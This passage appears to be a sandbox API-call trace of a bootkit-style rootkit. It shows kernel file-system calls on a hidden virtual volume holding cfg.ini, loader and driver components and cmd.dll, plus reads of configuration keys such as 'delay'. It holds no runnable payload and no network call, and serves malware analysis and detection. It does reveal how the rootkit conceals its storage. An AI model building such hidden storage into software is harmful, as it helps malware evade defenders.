PriorityBoost=0) [0120.121] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.121] KeEnterCriticalRegion () [0120.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.121] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfb000 [0120.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.121] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.121] IdePortDispatch () returned 0x103 [0120.121] KeWaitForMutexObject () returned 0x0 [0120.121] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.121] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.121] IdePortDispatch () returned 0x103 [0120.122] KeWaitForMutexObject () returned 0x0 [0120.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.122] KeLeaveCriticalRegion () [0120.122] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.122] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.122] KeEnterCriticalRegion () [0120.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.122] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.122] KeLeaveCriticalRegion () [0120.122] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.122] KeEnterCriticalRegion () [0120.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.122] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.122] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc2300, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.122] KeLeaveCriticalRegion () [0120.122] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.122] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.122] KeEnterCriticalRegion () [0120.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.122] ExFreePoolWithTag (P=0xfffffa8003bc2940, Tag=0x0) [0120.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.123] KeLeaveCriticalRegion () [0120.123] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.123] ReleaseMutex (hMutex=0xf0) returned 1 [0120.123] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.123] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.123] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.123] KeEnterCriticalRegion () [0120.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.123] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.123] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.123] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.123] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.123] IdePortDispatch () returned 0x103 [0120.123] KeWaitForMutexObject () returned 0x0 [0120.123] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.123] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.123] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.123] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.123] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.123] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2e30 [0120.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.123] KeLeaveCriticalRegion () [0120.123] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.123] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.123] KeEnterCriticalRegion () [0120.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.123] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.123] KeLeaveCriticalRegion () [0120.123] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.123] KeEnterCriticalRegion () [0120.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.123] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.123] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.123] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.123] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.123] IdePortDispatch () returned 0x103 [0120.124] KeWaitForMutexObject () returned 0x0 [0120.124] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.124] KeLeaveCriticalRegion () [0120.124] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.124] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.124] KeEnterCriticalRegion () [0120.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.124] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfc000 [0120.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.124] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.124] IdePortDispatch () returned 0x103 [0120.124] KeWaitForMutexObject () returned 0x0 [0120.124] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.124] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.124] IdePortDispatch () returned 0x103 [0120.124] KeWaitForMutexObject () returned 0x0 [0120.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.125] KeLeaveCriticalRegion () [0120.125] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.125] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.125] KeEnterCriticalRegion () [0120.125] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.125] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.125] KeLeaveCriticalRegion () [0120.125] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.125] KeEnterCriticalRegion () [0120.125] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.125] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.125] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.125] KeLeaveCriticalRegion () [0120.125] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.125] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.125] KeEnterCriticalRegion () [0120.125] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.125] ExFreePoolWithTag (P=0xfffffa8003bc2e30, Tag=0x0) [0120.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.125] KeLeaveCriticalRegion () [0120.125] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.125] ReleaseMutex (hMutex=0xf0) returned 1 [0120.125] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.125] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.126] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.126] KeEnterCriticalRegion () [0120.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.126] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.126] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.126] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.126] IdePortDispatch () returned 0x103 [0120.126] KeWaitForMutexObject () returned 0x0 [0120.126] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.126] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.126] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.126] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.126] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.126] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd270 [0120.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.126] KeLeaveCriticalRegion () [0120.126] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.126] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.126] KeEnterCriticalRegion () [0120.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.126] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.126] KeLeaveCriticalRegion () [0120.126] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.126] KeEnterCriticalRegion () [0120.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.126] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.126] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.126] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.126] IdePortDispatch () returned 0x103 [0120.127] KeWaitForMutexObject () returned 0x0 [0120.127] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.127] KeLeaveCriticalRegion () [0120.127] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.128] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.128] KeEnterCriticalRegion () [0120.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.128] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfd000 [0120.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.128] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.128] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.128] IdePortDispatch () returned 0x103 [0120.128] KeWaitForMutexObject () returned 0x0 [0120.128] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.128] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.128] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.128] IdePortDispatch () returned 0x103 [0120.128] KeWaitForMutexObject () returned 0x0 [0120.128] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.128] KeLeaveCriticalRegion () [0120.128] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.129] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.129] KeEnterCriticalRegion () [0120.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.129] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.129] KeLeaveCriticalRegion () [0120.129] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.129] KeEnterCriticalRegion () [0120.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.129] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.129] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.129] KeLeaveCriticalRegion () [0120.129] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.129] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.129] KeEnterCriticalRegion () [0120.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.129] ExFreePoolWithTag (P=0xfffffa8003bcd270, Tag=0x0) [0120.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.129] KeLeaveCriticalRegion () [0120.129] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.129] ReleaseMutex (hMutex=0xf0) returned 1 [0120.129] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.129] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.129] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.129] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.129] KeEnterCriticalRegion () [0120.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.129] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.129] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.129] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.129] IdePortDispatch () returned 0x103 [0120.130] KeWaitForMutexObject () returned 0x0 [0120.130] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.130] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.130] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.130] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.130] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.130] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.130] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.130] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.130] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.130] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.130] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.130] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.130] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.130] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.130] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.130] KeLeaveCriticalRegion () [0120.130] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.130] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.130] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.130] KeEnterCriticalRegion () [0120.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.130] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.130] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.130] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.130] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.130] IdePortDispatch () returned 0x103 [0120.130] KeWaitForMutexObject () returned 0x0 [0120.130] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.130] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.130] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.130] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.130] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.130] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.131] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.131] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.131] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.131] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.131] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.131] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.131] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.131] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.131] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.131] KeLeaveCriticalRegion () [0120.131] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.131] ReleaseMutex (hMutex=0x100) returned 1 [0120.131] Sleep (dwMilliseconds=0x2bf20) [0120.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6acd54b0, dwHighDateTime=0x1d24fa4)) [0120.140] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.140] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.140] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.140] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.140] KeEnterCriticalRegion () [0120.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.140] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.140] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 